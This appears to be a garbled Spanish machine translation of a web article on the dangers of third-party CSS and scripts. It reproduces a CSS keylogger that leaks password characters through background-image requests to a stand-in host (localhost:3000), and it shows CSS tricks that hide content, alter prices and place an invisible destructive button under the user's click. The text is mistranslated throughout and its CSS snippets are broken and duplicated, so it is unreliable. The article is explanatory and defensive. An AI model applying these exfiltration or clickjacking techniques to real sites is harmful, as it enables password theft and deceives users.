Menú
Está libre
registrarse
el principal  /  Programas / Difusión de artículos en internet. Opciones y sus características.

Distribución de artículos en internet. Opciones y sus características.

Decimos cómo puede dañar su sitio utilizando CSS de terceros, JavaScript y otros recursos con los servidores de otras personas.

A finales de febrero, la red apareció un keylogger parcialmente utilizando CSS. El ataque con él es simple: para cada carácter ingresado en el campo con un tipo específico (por ejemplo, contraseña), se genera una solicitud de terceros, supuestamente solicitando una imagen de fondo:

entrada (fondo - imagen: URL ("http: // localhost: 3000 / a");)

fondo - Imagen: URL ("http: // localhost: 3000 / a");

En el servidor, la secuencia de solicitudes se puede registrar y fácil de calcular la contraseña ingresada.

En el proceso de discutir el problema, algunos sugirieron fabricantes de navegadores para hacer una solución. Alguien llamó la atención a que el problema es relevante solo para los sitios en marcos similares a reaccionar, y los ha cambiado la culpa.

Fotos de terceros

< img src = "https://example.com/kitten.jpg">

Si agrega una imagen de este tipo en el sitio, dependerá de Ejemplos. Pueden sustituirte diferentes caminosPor ejemplo, elimine una imagen: obtendrá 404 en lugar de una imagen. Y simplemente pueden reemplazar la imagen del gato en algo menos agradable.

Puede advertir a sus usuarios que la imagen se agrega desde un recurso de terceros y no tiene una relación con él. Así que te asegurarás un poco de problemas. Pero, por supuesto, al agregar una imagen simple que no proporciona acceso a las contraseñas.

Scripts de terceros

Este ejemplo es más interesante para el Ejemplo.com, porque agregar un script desde su sitio les da mucho más control sobre el suyo. En este caso, Ejemply.com puede:

  • Leer / cambiar el contenido de la página.
  • Seguimiento de cada acción del usuario.
  • Corre duro para calcular el código (por ejemplo, un criptomyledor).
  • Pedir cookies.
  • Lea / modifique el almacenamiento local.

En otras palabras, Ejemply.com ahora puede tener muchas cosas.

La interacción con el almacenamiento local en el futuro trae aún más problemas. El recurso de terceros tendrá acceso a su sitio incluso después de retirar el script de la página. Si agrega un script de terceros al sitio, debe confiar absolutamente en la fuente y su seguridad.

Si aún se encuentra con un script malo, intente usar el encabezado de datos de espacio libre.

Lado CSS.

< link rel = "stylesheet" href = "https://example.com/style.css">

El código CSS de terceros sobre la influencia del sitio está entre la imagen y el guión. Alien CSS puede:

  • Eliminar / modificar / agregar contenido en la página.
  • Hacer solicitudes basadas en el contenido de la página.
  • Reaccionar a muchas acciones de usuario.

CSS no podrá interactuar con el almacenamiento local y una criptomérica a la página no se incrustará, pero puede causar mucho daño al propietario del recurso.

Keylogger

Modifique ligeramente CSS desde el principio del artículo:

entrada (Fondo-Imagen: URL ("/ Contraseña? A");)

entrada [TIPO \u003d "CONTRASEÑA"] [VALUE $ \u003d "A"] (

fondo - Imagen: URL ("/ contraseña? A");

Este código enviará datos sobre el símbolo "A" ingresado en el controlador bajo la apariencia de una solicitud de imagen. Repita el código para cada símbolo y aquí ya tiene un keylogger CSS.

De forma predeterminada, los navegadores no almacenan los caracteres ingresados \u200b\u200bpor el usuario en el atributo de valor, para que este truco funcione al usar algo que sincronice tales valores, por ejemplo,.

Por supuesto, este problema se puede resolver en el lado de reacción y en marcos similares. Pero entonces solo se resolverá. caso específicoY el resto de los problemas permanecerán.

Contenido de desaparición

cuerpo (Pantalla: Ninguno;) HTML :: Después (contenido: "Error de servidor HTTP Server";)

cuerpo (

pantalla: Ninguno;

hTML :: FUTTER (

contenido: "Error de servidor HTTP Server";

Esto, por supuesto, es un ejemplo muy peculiar, pero sigue trabajando. Imagínese si sus usuarios al ingresar al sitio verán en lugar de lo habitual pagina principal error incomprensible. De la misma manera, el código de terceros puede eliminar, por ejemplo, el botón "Comprar" o hacer un poco más de problemas.

Añadiendo contenido

Valor de precio :: Antes (contenido: "1";)

Precio - Valor :: ANTES (

contenido: "1";

Y así, solo sus precios se dispararon.

Viaje de contenido

Eliminar: todo el botón (Opacidad: 0; Posición: Absolute; TOP: 500px; Izquierda: 300px;)

Eliminar - todo - botón (

opacidad: 0;

posición: Absoluto;

tOP: 500px;

izquierda: 300px;

Tome un botón que haga algo terrible, y que el usuario simplemente no lo presione, hágalo transparente y coloque el lugar donde el usuario debe hacer clic.

Por supuesto, si el botón hace algo realmente importante, el usuario primero verá un diálogo de advertencia. Pero esto no es un problema: solo necesita más CSS. Por ejemplo, puede cambiar el contenido del botón "Oh, Señor, ¡No!", En "Por supuesto, estoy seguro".

Imagina que los fabricantes del navegador corrigieron el truco con el keylogger. Los atacantes simplemente colocan un campo de texto en exceso en la parte superior de un campo importante con el tipo de contraseña y están ocupados nuevamente.

Atributos de lectura

En valor y otros atributos, las contraseñas no están necesariamente almacenadas: un atacante puede encontrar algo interesante.